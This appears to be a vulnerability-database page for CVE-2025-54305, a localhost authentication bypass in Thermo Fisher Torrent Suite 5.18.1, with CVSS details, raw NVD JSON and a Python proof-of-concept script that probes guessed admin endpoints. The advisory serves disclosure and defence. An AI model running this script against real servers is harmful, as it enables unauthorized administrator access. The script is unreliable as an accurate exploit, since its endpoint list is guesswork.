Security Vulnerability Report
中文
CVE-2025-54305 CVSS 7.8 HIGH

CVE-2025-54305

Published: 2025-12-04 15:15:59
Last Modified: 2025-12-16 18:50:09

Description

An issue was discovered in the Thermo Fisher Torrent Suite Django application 5.18.1. One of the middlewares included in this application, LocalhostAuthMiddleware, authenticates users as ionadmin if the REMOTE_ADDR property in request.META is set to 127.0.0.1, to 127.0.1.1, or to ::1. Any user with local access to the server may bypass authentication.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:thermofisher:torrent_suite_software:5.18.1:*:*:*:*:*:*:* - VULNERABLE
Thermo Fisher Torrent Suite Django application 5.18.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54305 PoC - Local Authentication Bypass # Target: Thermo Fisher Torrent Suite Django Application 5.18.1 # Attack Vector: Exploit LocalhostAuthMiddleware by sending requests from localhost import requests import sys def exploit_auth_bypass(target_url): """ Exploit the authentication bypass by sending request from localhost. The LocalhostAuthMiddleware will authenticate as 'ionadmin' when REMOTE_ADDR is 127.0.0.1, 127.0.1.1, or ::1 """ # Since we're exploiting localhost auth bypass, we need to send request # from the target server itself # Example: Direct exploitation from server # curl -k https://target-server:8080/admin # For remote exploitation, this would require additional network manipulation target = target_url or "https://127.0.0.1:8080" # Try accessing admin panel directly endpoints = [ "/admin", "/admin/settings", "/admin/users", "/api/v1/admin", "/admin/data/export" ] for endpoint in endpoints: url = target + endpoint try: # Send request - will be authenticated as ionadmin if from localhost response = requests.get(url, verify=False, timeout=10) if response.status_code == 200: print(f"[+] Successfully accessed: {url}") print(f"[+] Status: Authenticated as ionadmin") print(f"[+] Response length: {len(response.text)} bytes") elif response.status_code == 401 or response.status_code == 403: print(f"[-] Access denied to: {url}") else: print(f"[*] Unexpected response from: {url} (Status: {response.status_code})") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {url}: {e}") if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else "https://127.0.0.1:8080" print(f"[*] Exploiting CVE-2025-54305 on {target}") print(f"[*] Attempting to bypass authentication via localhost...") exploit_auth_bypass(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54305", "sourceIdentifier": "[email protected]", "published": "2025-12-04T15:15:58.893", "lastModified": "2025-12-16T18:50:09.257", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in the Thermo Fisher Torrent Suite Django application 5.18.1. One of the middlewares included in this application, LocalhostAuthMiddleware, authenticates users as ionadmin if the REMOTE_ADDR property in request.META is set to 127.0.0.1, to 127.0.1.1, or to ::1. Any user with local access to the server may bypass authentication."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:thermofisher:torrent_suite_software:5.18.1:*:*:*:*:*:*:*", "matchCriteriaId": "C9D40EC2-7E68-4166-9ECF-431E4294CB97"}]}]}], "references": [{"url": "https://assets.thermofisher.com/TFS-Assets/LSG/manuals/MAN0026163-Torrent-Suite-5.18-UG.pdf", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://documents.thermofisher.com/TFS-Assets/CORP/Product-Guides/Ion_OneTouch_2_and_Torrent_Suite_Software.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.thermofisher.com/us/en/home/life-science/sequencing/next-generation-sequencing/ion-torrent-next-generation-sequencing-workflow/ion-torrent-next-generation-sequencing-data-analysis-workflow/ion-torrent-suite-software.html", "source": "[email protected]", "tags": ["Product"]}]}}